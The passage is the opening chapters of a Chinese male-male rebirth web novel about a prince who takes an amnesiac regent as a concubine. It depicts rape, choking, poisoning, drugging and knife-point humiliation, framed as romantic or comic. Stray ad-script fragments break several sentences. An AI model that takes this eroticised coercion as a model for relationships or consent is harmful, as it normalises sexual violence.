《强纳失忆摄政王为妾后[重生]》 1. 前世纠葛 夜若琉璃,星月如珠。 巍峨皇城被笼罩在月色之下,婆娑的树影照在高耸的宫墙之上,像是张牙舞爪的触手。 随着夜色渐晚,皇城大门即将关闭,街巷静的只听见风声,几乎没了人。 忽然,一匹快马自朱雀大街直冲城门而来! 速度极快,几乎化作一道残影,卷起秋末最后几片落叶,在城门即将关闭的刹那,冲关而去! 不过是眨眼,就消失在远方,只留下一地惨白的月光。 随着那人策马离去,身后的皇都在一炷香后,骚乱起来。火把晃着炽热的光,从皇宫蔓延至皇城脚下,如同一头暴怒的火龙。 玄衣帝王身着单衣,策马疾驰往城外而去,身后数以千计的金吾卫紧跟其后,如鬼魅一样的暗卫掠过街巷,不知去往何处。 这一夜,马蹄声几乎要踏碎了整个皇都,只因为一个人。 负责传信的暗卫先到宫门一步,信号弹在天空炸开,随着一声:“宁王私逃京都,快开城门!!!”城门守将从困顿中惊醒,趴在城墙上,看着气势汹汹而来的皇帝,朝着身边的人,大叫着:“快开城门!!!” 随着城门快速打开,谢灼带着人直奔城外,城门上最后的光,罩在谢灼俊美无俦的脸上,看见的是那双嗜血冰冷的眼睛。 白锦棠,你最好祈祷满天神佛能够保佑你,别让我抓住你,否则…… 而另一边,白锦棠不敢有丝毫停歇,一刻不敢放松。 只要他一直往南去,他就能回到青州,那是他的封地,他的根基都在那里,他就还有机会翻盘! 忽然,白锦棠猛地勒住胯.下白马,停了下来,一双漂亮的桃花眼警惕地向四周望去,鼻尖上的红痣似乎要灼烧起来。 周围树影斑驳,月光疏散,几乎快要看不见路,这样安静的环境,树丛中传来零零零碎碎的声音,像是风吹起落叶,又像是轻功卓绝之人掠过树叶,发出的点点响动。 有人。 白锦棠面色不改,握紧缰绳,似乎想要回头换一条路,可不过是往后一瞥,却见本该空旷的路上,出现数十位身着黑衣的暗卫,正挡在他的退路处。 “请宁王殿下归都。”那些人如是道。 马儿还在嘶鸣,前路更是不知道危险几何,白锦棠想着谢灼的手段,冷笑一声,没有丝毫的回头的意思,骑着马儿猛地扎进前方黑暗之中! 他是铁了心的不回头! 那些暗卫被抛在身后,可树丛里的掠过的人影无一不彰显着,谢灼快要抓住他了! 无数暗器朝着白锦棠袭来,被白锦棠手里的寒剑挡了回去,“铿锵”之声不绝于耳。 他们都试图将白锦棠拉下马匹,将他拦在这片森林里,于是提刀而来,却被白锦棠尽数斩杀于刀下,亦或者被他一脚踹开。 一人一剑一马,无数拦截,眨眼间,硬是让白锦棠冲出防线三里。 只是,这夜太黑了,马背上又太颠簸,想要阻拦他的暗卫如百花缭乱,虽不是朝着他的命来的,却也是要见血的。 “嗖!” 冷意从身侧穿透空气袭来,白锦棠下意识错眼瞥了一眼,在暗器即将刺穿自己身体之时,猛地弯腰趴在了马背上,惊险地躲过了这暗算。 等等,那是什么? 只见前方路上横着一根绳索,是绊马索!白锦棠瞳孔紧缩,起身猛拉缰绳,试图停下。 可根本来不及了! 马儿被绊倒,发出尖锐刺耳的鸣叫,马儿直直地往地上跪,而白锦棠也因为惯性,身体被狠狠地甩了出去,砸在一片空地上,伏在地上,狼狈地吐了一口血。 下一秒,他就被密不透风的金吾卫团团围住,插翅难飞。 身着玄衣的帝王背着手,慢悠悠地从人群里走出来,站到了白锦棠的面前,居高临下地看着他。 白锦棠缓了一口气,撑着手臂似乎想要起来,奈何那一下摔得太狠了,身体麻木,硬是没起来。 帝王嗤笑出声:“起不来,就别起了,这么为难自己做什么呢?” 白锦棠垂着眼,看着帝王衣服上,用金丝绣成的金龙:“你到底想要干什么?” “我想做什么,棠棠难道不是最清楚吗?” 帝王蹲下身子,大手不容置疑地抬起了白锦棠的下巴,逼着他直视自己,“哎,不过是才出来这么一会,就把自己弄得这么狼狈,真是好惨啊。” 白锦棠:“滚!” 帝王非但不生气,竟然还笑了起来,粗糙的大手不容置疑地托着白锦棠的下巴,大拇指的指腹用力地抹着白锦棠嘴角的血,直到把那血迹全部抹干净,那片肌肤摩挲的通红,把人弄疼了,这才放手。 谢灼轻轻地嗅着手上的血,舌尖舔舐过赤红的血迹,像是尝到了世间最美味的东西,迎着白锦棠震惊厌恶的表情,眼里是雀雀欲试的光,胸膛里血液在不断地叫嚣,道:“真甜啊。” “疯子。” 谢灼却问:“呆在我身边不好吗?” “呵。” 谢灼:“做我的皇后吧。” 白锦棠几乎是毫不犹豫给了谢灼一巴掌,恼羞成怒道:“你真踏马的疯了!” 谢灼捂着自己的脸,愣了一下,眼里闪过不悦。 他眉头皱着,冷淡道:“你很不乖。” 谢灼抬手,扼住了白锦棠的脖颈,迫使他的脖颈最大限度的扬起,让他看着自己,让他眼里只有自己,然后狠狠地吻了上去,撕咬着白锦棠的唇,撬开他的唇齿,勾住他口中满满的血腥味,让他在窒息中挣扎哭泣流泪。 这个吻带着帝王的怒火,脆弱的脖颈就捏在他的手里,白锦棠有一种近乎窒息的错觉,这根本不是普通的吻,仿佛下一秒,帝王就会捏断他的脖颈,让他命丧黄泉。 白锦棠的眼前发黑,意识一点一点的溃散。 不知过了多久,帝王终于放开了他。 白锦棠伏在地上,大口的喘息着,背后一双肩胛骨像是一只振翅的蝴蝶,即使隔着衣服,也是极为好看的形状。 帝王舔了舔唇,怒火消下去一点,伸手在白锦棠背后摸了一把,想将人抱起来,带回去。结果才碰到人,就被白锦棠躲开了。 谢灼才占完便宜,不与他计较,只是低头用鼻尖亲昵地蹭了蹭白锦棠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,声音低沉:“你若是胆敢反抗,我就在这里要了你。” 白锦棠一僵,刚刚被吻得殷红的唇血色尽褪。 他一直都知道谢灼疯,却没想疯的这样彻底,有了刚刚的前车之鉴,他毫不怀疑,谢灼真干的出来。 指甲陷入皮肉,白锦棠终究是一声不吭,像是厌倦一样的闭上眼,扭过头,不愿意看谢灼的样子。 而谢灼一把将人抱起,让他靠在自己的臂弯里,上了马。 落叶被马蹄踩碎,风声呼啸,金吾卫随之而去,火把越来越远,越来越小,最后变成了紫宸殿里跳动的烛火。 殿门被打开,玄衣帝王抱着人大步走来,将人丢了床上,欺身而上。 “锦棠,留在朕身边不好吗?”这不是谢灼第一次说这样的话,只可以白锦棠不愿意,便就是说上千次万次,都没用。 白锦棠心里千回百转,面色惨白,额头已经沁满了汗,就是侧着头不说话,也不搭理谢灼。 谢灼冷笑:“也对,毕竟我可是亲手断送了你们白家江山,将你掳进皇宫,还这样对你,你留在我的身边做什么啊?当然是要回青州,变着法的杀我了,是不是啊,我的棠棠……” 谢灼每说一句,白锦棠心里的怒火就多一分,直到最后,这心里的怒火就再也压抑不住了,那藏在衣袖中暗器,再也控制不住地刺向谢灼的咽喉! 可就差一点! 只差毫厘,白锦棠的手被谢灼握住! 谢灼面色不改,手下不断地用力,疼的白锦棠嘴唇发白,暗器终于在这恐怖的力道下掉落在地上,咣当一声,也终于消耗掉了谢灼最后一丝耐心。 “呵,既然不想当皇后,那就当禁脔吧。白锦棠,这辈子,你都别想离开我,离开这张床了。” 谢灼笑了起来,他当着白锦棠的面,一点一点地脱掉了自己的衣服,将自己暴露在白锦棠的面前,然后伸手,抓住了白锦棠不断往后退的身体,扯着他的脚腕,将人给弄了过来! “谢灼,你敢如此羞辱我!我一定会杀了你的!” “羞辱吗?可我明明是爱你的啊,锦棠——”谢灼咬住了他的脖颈。 只可惜,你不喜欢这份爱。 “谢灼!” 回应白锦棠的只有衣衫被撕裂的声音,还有帝王不顾一切地强力镇压。 殿里的烛火烧尽了,而床榻上的动静依旧不曾停歇。 像是终于受不住了一样,帐中传来一声一声的啜泣,连带着那帷幔都跟着剧烈地摇晃,不知道过了多久,紧闭的帷幔开了一道缝,一条满是斑驳红痕的胳膊挣扎着露了出来,与之一起的还有臂弯上坠着金玲的红绸。 白锦棠的手死死地扣住了床边,悬在半空中的金玲晃动着,声音清脆,手还在不断地用力,似乎想要逃离某个地方,结果很快就被另一只粗壮的胳膊抓住,弄了回去。 窗户没关,有风吹了进来,恰巧将帷幔吹开点,正好看见一脸阴鸷的男人,将另一人不听话的双手,用红绸一点一点地缠住。 一圈又一圈,以至于金玲一直晃啊晃。 时间都仿佛模糊了,泛起了点点涟漪。 2. 本王爱妾 梦中的记忆越来越荒诞,几乎已经达到了不可控制的程度。 无形的命运中,似乎有一只大手扼住了他的咽喉,要将他彻底溺死在这光梦陆离的回忆里。 而他拼命的挣扎着,终于感觉身体一轻,猛地睁开了眼睛,骤然对上一双阴鸷、但熟悉至极的双眸里。 而眼睛的主人,正跨坐在他的身上,一双大手不断地拉扯着一根红绸,而红绸的另一端,正系在他的脖颈处! 他要勒死自己! 白锦棠眼前发黑,双腿也被人强硬地压制,脖颈因为不断地勒紧,让他的胸腔发出轰鸣,心脏几乎要跳到了嗓子眼。 谢灼这个王八蛋! 白锦棠瞬间明白如今的处境,他的手费力地伸向了枕头底下,寒光出鞘,缠在他脖颈的红绸被刺啦割裂。 谢灼身子不稳,往后倒去,而白锦棠趁机将谢灼掀翻在床,身子反压过去,几乎同时,手里镶嵌着宝石的匕首朝着谢灼的脖颈狠狠地扎去! “瞪!” 谢灼半路握住白锦棠的双手,逼着匕首歪了方向,最后擦着谢灼的脖颈,定在了床板上。 脖颈处血珠滴落,谢灼冷不防地对上白锦棠一双含着滔天怒意的眸子,宛如地狱里前来索命的厉鬼。 谢灼心知今日没这么好收场,嗤笑:“没想到大名鼎鼎的的宁王,不仅以权压人,如今还想杀人灭口,实在是愧对当世之美名!” 白锦棠冷笑出声:“杀了你,谁还知道今日发生的事情!” 说完,两个人竟然扭打起来! 大床受不住的嘎吱摇晃起来,婚房里的烛火就如同当年那般,燃烧的热烈,只不过如今时过境迁,物是人非。 招招狠辣,不存在丝毫的留手,尤其是如今的白锦棠手拿着匕首,就是奔着你死我活去的,那股子疯劲实在是叹为观止,就连谢灼也不得不避其锋芒,最后被白锦棠一刀刺穿肩膀,一脚踹下床去! 谢灼捂着心口,狼狈地摔下床榻,而这样的动静,终于将守在门外的秋风给引了进来。 “王爷!” 秋风带着人推门而入,二话不说,先将地上的谢灼给按住了,腰间雪亮的剑架在谢灼的脖颈上。 一旁跟进来的落雨被吓得不轻,小丫头马上眼泪就要落下来:“王爷,怎么弄成这样!” 奈何如今白锦棠状态实在是不佳,脑袋昏昏沉沉,双耳轰鸣,只喘着粗气依在床头,一双桃花眼满满的倦怠还有迷茫,眼角泛着一抹红晕,逶迤缱绻。 他任由落雨将他脖子上缠着的红绸小心翼翼解下来,迷迷糊糊地想,他原来是重生了,他记得眼前的一幕。 上一世,他因为失足落水昏迷了足足半个月,秋风和落雨急得不行,最后一个牛鼻子老道告诉他们,需要喜事冲一冲府里的煞气,才能醒。 秋风落雨病急乱投医,还真就停了,谁知道挑来挑去,竟然把失忆的当朝摄政王掳进了王府,趁着谢灼失忆,按着谢灼的脑袋和一只公鸡拜了堂,成了自己的王妃。 自己醒来后,觉得对谢灼十分愧疚,于是好吃好喝地待着,谁知道此人恢复记忆的第一件事情,招呼都不打,连夜回了皇都,没过多久就传来谢灼谋权篡位的消息! 而他这个前朝王爷也成了他的掌中之物,禁脔男宠。 简直就是可笑! 想到这里,白锦棠双眸这才有所焦距,冰冷的眼神悄然落在谢灼的身上。 “王爷?” “我没事。” 谢灼正死死地盯着他,肩膀上还插着匕首,血染红了他身上的喜服,他就像是不知道疼痛,不知死活一样,依旧胆大妄为地和自己眼神对上,打量过他脖颈上的勒痕,甚至嘴角上挑,满是挑衅意味。 白锦棠见此,那股子疯劲又上来了:“秋风,把他给我压过来。” “是!”秋风直接让侍卫架起谢灼的两条胳膊,将人带到白锦棠面前跪好,距离很近,白锦棠几乎一个抬手,都能给谢灼一个耳光。 权倾朝野的摄政王跪着仰望着他,一副想要杀人却只能憋着的表情,白锦棠被这样的姿势取悦了,他懒洋洋地问:“落雨,你还没和我说,这是谁呢?” 落雨这才想起来,王爷才醒,哪里会认识这人,连忙解释道:“这是……为了给您冲喜找来的……” 说着,落雨和秋风跪下来请罪:“王爷恕罪。” 白锦棠这样问是为了羞辱谢灼,于是反问:“你们有什么罪,罪该万死的不是他吗?竟敢胆大包天地想要刺杀本王。” “不过一些闺房情趣罢了,没想到王爷这样不解风情,怎么还和刺杀扯上关系了。”谢灼看着近在咫尺的人,玩笑道,“只是……王爷看起来似乎很生气,莫非王爷以前认识我,所以这才醒来,就要杀我?” “你是个什么东西,也配我认识?” 谢灼肩膀上的匕首被白锦棠毫不犹豫地拔了出来,谢灼闷哼一声,血如泉涌,没过一会,就将那大红喜袍浸湿了,以至于谢灼一张俊脸惨白惨白的。 白锦棠用那染血的匕首抬起谢灼的下巴,刀尖抵着咽喉,俯身看着谢灼,慢条斯理地问他:“此等闺房情趣,可还欢喜?” “不过如此。” 谢灼舔了舔唇角,直勾勾地看着白锦棠那裸露的脖颈,上面的勒痕如同缠绕的喜绸一般妖艳,惹得人口干舌燥。 白锦棠的另一只手,按在了谢灼的伤口上,往下按压用力:“那这样呢?” 谢灼额头青筋暴起,脸色越来越白,不吭声。 白锦棠继续用力。 见谢灼还是不出声,顿感无趣,这才收手。 血很快染红了他修长的手指,指尖还凝这漂亮的血珠,顺着他手背滑落,没入宽大的袍袖,消失不见了。 谢灼缓了一会,这才挺着半边疼到麻木的身体,讥讽:“你这样多累啊,要不一刀抹了我的脖子,说不定我就更欢喜了。” 一刀杀,那多无趣。 好事多磨,谢灼他需要千磨万磨才行。 白锦棠气消得差不多了,理智也回来了,他拍了拍谢灼的脸,轻笑:“你现在可是本王明媒正娶的王妃,我怎么可能会杀了自己的王妃呢,况且,大婚之日,洞房花烛,本王还没让王妃欢喜起来了呢,怎舍得让王妃这样不清不楚的命丧黄泉。” 谢灼“呵”了一声:“王妃?” 白锦棠:“怎么,不愿意?” 谢灼:“难道我该感恩戴德?” “你该千恩万谢,三叩九拜。”白锦棠理所应当地点头,随即话锋一转,“不过你这个样子着实寒碜,着实配不上我宁王府的门第,又是和公鸡拜的堂,怎么担得起王妃之名?既然如此,就做侍妾吧,也不算辱没了你。” 谢灼琢磨了一下这几句话,越发觉得好笑,反问:“你倒是真敢想,不怕哪个晚上红罗帐内,我一个冲动宰了你?” 白锦棠:“怕啊,我可真是怕极了。” 音落, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 像是恍如大悟一样,摸向了谢灼的下巴,捏住了他的下颌,只听“咔嚓”一声,他将谢灼的下巴卸了,拿起一枚药丸,逼着谢灼吃了下去。 谢灼终于不是那副死猪不怕开水烫的样子了,用眼神质问着白锦棠。 “别这样看着本王,本王会害怕的。”白锦棠微笑着帮谢灼的下巴按了回去,像是摸一只大狗一样,揉了揉谢灼的脑袋,眼神温柔的不像话,“放心吧,也不是多毒的药,三寸断肠散而已,只要你乖乖待在我身边,好好的讨我欢心,就绝不会有事。” “那还真是谢谢王爷的大恩大德了。” 谢灼舔了舔嘴唇,恨不得将白锦棠剥皮拆骨了。 白锦棠皱眉:“错了。” 谢灼:“什么?” 白锦棠慢悠悠道:“你是本王的侍妾,该自称什么?” 谢灼脸色气的通红,眼前发黑,一句话也说不出口,只觉得白锦棠简直就是得寸进尺。 谢灼:“!!!” 白锦棠冷下脸:“怎么,还要本王让人好好教你规矩吗?” 谢灼冷哼。 白锦棠:“落雨。” 旁边的落雨连忙微笑站出来,提醒:“夫人,你该自称妾身,然后叩谢王爷恩典。” 谢灼:“……“ 白锦棠抬了抬下巴:“选吧,当侍妾还是当亡妻。” 谢灼快要杀人了,嘴里的话更是一个字一个字地往外蹦:“妾……身……叩谢王爷……恩典……” 总有一日,他一定要将白锦棠碎尸万段。 白锦棠鼓励道:“为人妾室,你很有天赋哦。” 谢灼:“……” 谢灼眼前发黑,眼看着一口气就要上不来了。 白锦棠思考了一下,又道:“既然以后就是王府的人了,那以前的名字也不用要了,以后就叫怜奴吧,怜奴怜奴,听听,这是个多么招人喜欢的名字。” 音落,秋风落雨和一众侍卫皆忍不住笑了起来。 “……”唯独谢灼脸色发绿。 白锦棠一脸真诚地问:“夫人可还喜欢这个名字?” 谢灼嘴张了又张,死死地瞪着白锦棠,胸口血液翻涌,毫无预兆地冲上咽喉,谢灼终于忍不住,猛吐一口老血,华丽丽地晕了过去。 白锦棠心情舒畅至极:“瞧瞧,都高兴的晕过去了。” 落雨:“……” 秋风:“……王爷,那王妃……怜夫人怎么处理?” 白锦棠一脸忧心地叮嘱道:“得妾如此,当怜香惜玉。去请最好的大夫,务必用苦的药,让他以最快速的方式好起来,否则本王如何睡得安稳啊。” 秋雨点头,招呼着侍卫:“把怜夫人带下去。” 等秋风带人走了,白锦棠也没了力气,病殃殃地躺下去了,精气神一下子没了不少。 落雨就在一边守着,给白锦棠把了脉:“前几日王爷落水,引发了体内的毒,这才昏迷不醒,如今经过这一遭,可算是压下来了……” 落雨剩下还有话,迟疑地看了白锦棠一样,没敢继续往下说。 白锦棠:“你是想问,我为什么要把一个刺客留在自己身边,对吧?” 落雨点头。 白锦棠:“这可不是普通想刺客。” 落雨紧张起来:“这刺客身上可是有什么隐秘?” 白锦棠一本正经:“他虽是刺客,却也是本王的爱妾。” 落雨:“……” 3. 纳妾纳色 说完,白锦棠心情颇好地伸了个懒腰,结果不过稍仰下脖子,脖颈就火辣辣疼,白锦棠倒吸一口凉气,落雨这才注意到红肿的伤口已经变得青紫。 落雨一惊,连忙找出药膏,往白锦棠脖子上的伤痕上抹。 白锦棠本就先天不足,后又中了毒,如今从鬼门关里走了一遭,落雨心疼的不行,愧疚道:“是奴婢疏忽,这才让他有机可乘,若是我们早些发现,定不会让王爷受这样大的委屈。” 白锦棠撩开自己散落的乌黑头发,好方便落雨上药,一边道:“这些年我在青州,遭遇的刺杀没有一百,也有八十,哪能处处周全。” 八年前,白锦棠的生母叶皇后难产而死,没过多久,叶家就被满门抄斩,没了叶家撑腰的白锦棠被人暗害,身中半寸相思之毒,从高高在上的五皇子,被打发到了青州,做了个闲散王爷。 那年,白锦棠十一岁。 便是如此,他那几位好兄弟还是不肯放过自己各种刺杀层出不穷。 落雨低声道:“总有一日,主子定然能重返皇都,让那群人好看!” 白锦棠笑了出来:“好了,这些事以后再说,落雨,你先去帮我办一件事情,我有大用处。” 落雨:“敢问主子,何事?” 白锦棠:“去查一查万花楼,我要端了万花楼身后的黑市。” 白锦棠的身体不好,如今过了劲头,晚上就起了高热,第二天不出意外地病倒了,足足养了五天才算好。 这可把秋风和落雨担心坏了,尤其是落雨,每天盯着白锦棠把药喝完。 “王爷,该喝药了。”一早,吃完早膳没多久,落雨就将熬好的药端了过来。 白锦棠捏着鼻子,把药一饮而尽,将落雨递给秋风,顺手从落雨手里拿了一颗蜜饯放在嘴里,嘴里的苦味这才散下去不少。 落雨:“王爷,可还要再睡一会?” “不了,你陪着我出去走走吧。”这几天,他过得浑浑噩噩的,不是睡就是吃药,如今骨头都快发霉了,万万不能再这样继续下去。 “好。”落雨见白锦棠今天兴致不错,连忙道,“正好花园里的海棠花都开了,王爷正好去看看。” 宁王府的后花园里被打理的很不错,四季春秋,总会有不同时节的花朵绽放,如今正是海棠的花期。 主仆二人边说话,边往那边走。 “他最近怎么样了?”白锦棠随口问了句。 落雨脑子空白了一下,这才想起府上的那位“怜夫人”,于是道:“那伤看着吓人,实则卡在骨头缝里,怜夫人身体素质不错,在床上躺了两天就能起身了,如今应该在养病。” 白锦棠来了兴趣:“哦,怎么养的?” 落雨:“按照您的吩咐,请最好的大夫,用的都是最苦的药。就是……怜夫人似乎有些不一般,他前两天让人找了本剑谱,每日研读,十分刻苦。” 落雨严重怀疑谢灼八成是贼心不死,于是逮到机会,就开始暗戳戳告黑状。 结果白锦棠嗤笑一声:“主君生病,他看剑谱,他这妾室做的倒是潇洒。” 落雨:“……”重点好像不是这个。 重点是:王爷,他好像还想杀你啊! 自从白锦棠醒来,落雨就有点拿不准白锦棠的心思。这又想人死,转头又让大夫去看伤,说是兴趣,又像是仇人,实在是难以捉摸。 如今听这语气,怎么好像还有点生气,是因为怜夫人为了看剑谱没有看望王爷,所以吃味了吗? 莫非她家王爷当真对怜夫人一见钟情! “等等。” 落雨闻言停住了脚步。 他们恰好走到了一棵海棠树下,白锦棠左手压着探出的一枝海棠,冰冷眸光落在了不远处,舞剑的人身上。 谢灼穿了一身白衣,手里拿着约摸一尺长的海棠树枝,在湖边舞剑,姿态潇洒肆意,海棠枝在他手里凌厉至极,划破长空,传来破空之音,仿佛下一秒,就能刺破人的咽喉。 落雨也看了眼,迟疑道:“主子,好像是怜夫人?似乎是在舞剑。” 白锦棠轻笑:“他倒是很有闲情逸致,这剑舞的,怕不是马上就要跳出来,把我的脑袋割了。” 落雨眼睛立马亮了,嘴上却说:“……应该不至于吧。” “你不了解他,不过没关系,谁让我喜欢他呢。” 落雨:“……”这难道是真爱? “不过……”白锦棠话锋一转,问落雨,“落雨,你听过一句话没有?娶妻娶贤,纳妾纳色。” 落雨一脸懵逼:“啊?” 白锦棠在落雨脑袋上拍了一下。 落雨:“嘤。” 白锦棠:“……” 白锦棠:“他是不是本王妾室。” 落雨:“是。” 白锦棠:“那他的本分是什么?” 落雨:“讨你欢心。” 白锦棠指了指谢灼,认真地问:“那他在干什么?” 落雨恍然大悟,认真道:“主子,我明白了,您放心吧,我这就让人好好教教怜夫人规矩,还有他那剑谱,全给他烧了!” 白锦棠挑了挑眉:“还有他那衣服,一个妾室穿这么正经干嘛,给他找点不正经的衣服穿上,晚上洗干净,送我房里去。” 落雨:“可要是怜夫人不愿意穿怎么办?” 白锦棠衣服恨铁不成钢地说:“那就把衣服做小点,做的风骚点,把那些正经的衣服,连带着剑谱一起烧了。” 落雨一脸激动,最近因为白锦棠生病的事情,忙的不可开交,好久没找到乐子了,如今听见要搞事情,落雨一脸激动,一副要干坏事的样子。 “主子放心,我这就去办,保证办的漂漂亮亮!”说着,落雨就打算亲自动手,结果才走没几步,就被白锦棠揪着领子扯回来了,落雨一脸疑惑,“主子?” “你一个女孩子家家的,就老实呆在我身边,这事让秋风去办。” 落雨:“主子,秋风这么一个没情调的人,你怎么能让他去办呢!“ “不行就是不行。”白锦棠慢悠悠地走出海棠林,往自己院子走去,步伐轻快,看的出来是很开心没错。 落雨哀求:“主子——求你了!让我去吧!” ———— 秋风:“主子,这些是关于万花楼的全部消息了。” 当今圣上昏庸无能,耳根子软的不行,因为听信谗言不知道枉杀了多少忠臣良将,前世谢灼身为摄政王,谋权篡位也是情理之中,毕竟在白锦棠眼里,皇位那东西本就是能者居之。 可偏偏谢灼对自己动了不该有的心思,既然如此,那就别怪自己报复回来,至于那皇位,他也想坐一坐。 而第一件事情就是,彻底把青州攥在自己的手里。 万花楼是青州最大最有名的青楼,引得无数人趋之若鹜,可万花楼不过是幌子,真正让人动容的是万花楼后的地下黑市,各种见不得光的买卖都在里面,最大的生意莫过于人口贩卖。 若是他猜的没错,这黑市的主人胆敢如此嚣张跋扈,靠的就是青州知府李千山。 “青州虽然是我的封地,可李千山终究不是我的人,这些年来更是嚣张跋扈,不将本王放在眼中,既然如此,也不需要留着碍眼了。” 白锦棠提笔写下来几个名字,递给秋风:“这几个人和李千山私交甚笃,是万花楼的常客,应该是同伙,不会不知道黑市。你派人盯住他们,一旦有动静,立马禀报。” 秋风 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有些迟疑:“这……王宽一是青州有名的大善人,孙铭喜欢古玩字画,刘圩则是开赌场的,张景洪是万花楼的主人。他们都是青州城有名的地头蛇,王爷您这是打算……” “八年了,也该看看我这强龙压不压得过这些地头蛇。”白锦棠淡淡道。 据他所知,王宽一可不是什么善人,他负责拐卖妇女儿童,孙铭负责倒卖赃物,张景洪负责招揽客人,刘圩负责要债算账,是个打手,而黑市的市主岳沐剑就是头头。 以前他不知道也就罢了,现如今他知道了,就不能不管,况且黑市里还有他要的东西。 “养兵千日用兵一时,我们养在青州的兵可算是派上了用场,你亲自去演武场走一趟,调一千精锐,时刻准备着,必要时候,剿了那黑市。” 藏锋于鞘,银月卫不知道等了多少年,如今终于可以出动,说不激动那都是假的,只是…… 秋风神色激动,可却仍然有些犹疑:“主子,这李千山毕竟是静王的人,我们师出无名,贸然插手万花楼的事情,皇都那边,怕是会落了人口舌……” 白锦棠轻笑:“谁说我们师出无名?” 秋风:“王爷?” 白锦棠脑袋靠在椅子上:“秋风,你且好好看着,马上就会有人求着我来帮他剿了黑市。” 秋风激动:“是!属下这就去准备,保证不辜负主子的信任!” 书房里很快就剩下白锦棠一个人了,白锦棠食指在案上点着。 万花楼一事,前世是谢灼带人办的,他当时身体实在是不堪重负,就是下榻都不能,再加上因为强娶一事,自己对谢灼本就愧疚,在谢灼提出要借兵的时候,白锦棠没有犹豫。 过程他并不清楚,但后来谢灼竟然在黑市意外救下了国公府的小姐,还顺势扳倒了李千山,后来在谢灼夺位时,少不了国公府的拥护。 一想到谢灼,也不知道落雨那小丫头可办好了那事,可别一失手,将谢灼惹急了鱼死网破。 不行,他还得去看看。 白锦棠踱这步子,才走到门口,就见落雨站在门口,眼睛还时不时往屋子里瞅着,见白锦棠谈完事情过来了,连忙迎了上来,笑都快咧到耳后根了。 “主子,都办好了,保证让您满意。” 白锦棠挑了挑眉:“哦?” 落雨推搡着:“您进去看看就知道了。” 白锦棠推门进去了。 屋子里的红绸和喜烛已经被撤下去了,帷幔如流云一样倾泻而下,被风吹舞着,影影错错之间,能看见房梁上垂落的红绸,还有那颀长挺拔的身影。 许是察觉到了脚步声,谢灼终于忍不住动了动。 白锦棠掀开帷幔,走进内室,这才发现,谢灼竟然是被红绸禁锢住了手腕,吊在了房梁上,清晨那件十分正经的衣服已经不见了,取而代之的是一件红衣,领口开的很低,结实的肌肉几乎快要撑破衣服。 因为被堵着嘴,谢灼只能恶狠狠地瞪着他,双眼血红,满是戾气。 谢灼死也想不到,白锦棠竟然让人在他的药里下软筋散,不顾他的意愿,给他换了这等伤风败俗的衣服,这也就罢了,事后竟然还将他吊了起来! 这简直就是奇耻大辱! 他一定要杀了白锦棠! 白锦棠其实也是有点子惊讶在里面的,他本意是折辱谢灼,没想到落雨办事效率高的离谱,效果更是出乎意料的好。 赏,必须重赏。 “夫人不是一向很喜欢情趣吗?这可是我专门为夫人准备的礼物,夫人可还喜欢?”白锦棠悠哉悠哉地走到谢灼面前,莹白的指尖若有所无地滑过谢灼的脖颈,最后轻佻地勾起了谢灼的下巴,“夫人穿这衣服,别有一番风趣,实在是惊艳至极。” 4. 刺杀未遂 这话倒不是骗人的。 谢灼这张脸生的着实好看,凤眸凌厉,五官深邃,鼻梁高挺,剑眉入鬓,是个能引得无数女儿家趋之若鹜的人。 奈何眉宇间萦绕着丝丝缕缕的戾气,骨子里透着那不服输的野性,硬生生将那丰神俊朗的好模样,衬托得像是个地狱里爬出来的恶鬼杀神。 白锦棠随意在谢灼的身上点了一下,谢灼终于能说话了。 “你堂堂王爷,手段竟然如此卑劣,不仅对我下药,还……还给我穿上了此等伤风败俗的衣服,简直就是欺人太甚!”谢灼一想到这里,气的面色通红,声音都打颤,连带着绸缎都被他扯得嘎吱响。 白锦棠喜欢看谢灼这样,想杀他,却又杀不了他,如同掌中之物,只能任由自己摆布,这样的滋味实在是太美妙了。 他还想看见更多。 “这多好看啊,你竟然不喜欢,可是怎么办……”白锦棠从袖子里拔出一把匕首,正是将他刺伤的那一把,刀光不偏不倚正照在谢灼的脸上,“本王却喜欢的紧。” 谢灼瞬间警觉起来:“你想干什么?” 白锦棠笑道:“既然你不愿意,那只好本王自己找点乐子了。” “别怕,我会很温柔的。”刀尖点在了谢灼的腹部,男人的肉结实有力,就连腹部也是硬邦邦的,实在是让人羡慕。 刀尖落处,正是谢灼的上衣衣带,不过稍稍用力,衣带就被白锦棠割开了! 衣服散开了。 白锦棠评价:“身材不错,就是穿的太多了。” 谢灼:“……我要杀了你……” “撕拉!”又是一刀。 谢灼的袖子翩然落地,白锦棠道:“杀我做什么,那多没意思,你留在我身边,我保证你每天都有不一样的情趣。” 烛火缓缓燃烧,谢灼身上红色的衣服被白锦棠用刀一点一点地划开,割裂,变成一片又一片,如同雪花一般飘落,落在谢灼的脚边,最后几乎只剩下一条亵裤艰难地挂在腰间。 而白锦棠意犹未尽,死死地盯着一点,不断用匕首比划着。 要不趁此机会阉了吧。 不知道为什么,谢灼瞬间读懂白锦棠眼中的意思,有些急眼了:“白锦棠,你最好适可而止!“ “你敢威胁本王?”白锦棠不高兴了,毫不犹豫给他裤腰上来了一刀,裤腰带差一点,没断,但摇摇欲坠。 谢灼眉毛直抽搐,他实在是想不明白,这个病秧子王爷竟然这么有情趣,将自己翻来覆去的折腾。 像是妥协,谢灼低声道:“你到底想干什么?” 忍,他还需要忍。 等他解开了这红绸,便是他和白锦棠拼的你死我活之时! 谢灼指缝里夹了一块陶瓷碎片,那是今天喝水时,不小心打碎了杯子,趁着落雨不注意时,偷偷留下的。 房中烛火昏暗,他用手背掩着,慢慢地磨着手上的红绸。 “我能干什么?”白锦棠收了匕首,反问道,“我难道不是在和夫人你调情吗?” 谢灼:“……”谁家调情冲着他命根子去的。 谢灼盯着白锦棠,拖延时间:“自然是说一说,为什么殿下百般戏弄折辱于我,可是我哪里得罪了殿下?” “自称又错了,夫人。” 谢灼阴阳怪气:“……妾身不知道哪里得罪了王爷?” 白锦棠拍了拍谢灼的脸:“我知道你失忆了,想知道自己是谁,不妨告诉你,整个宁王府,除了我,没人能给你想要的答案。” 谢灼喉咙一紧:“所以?” 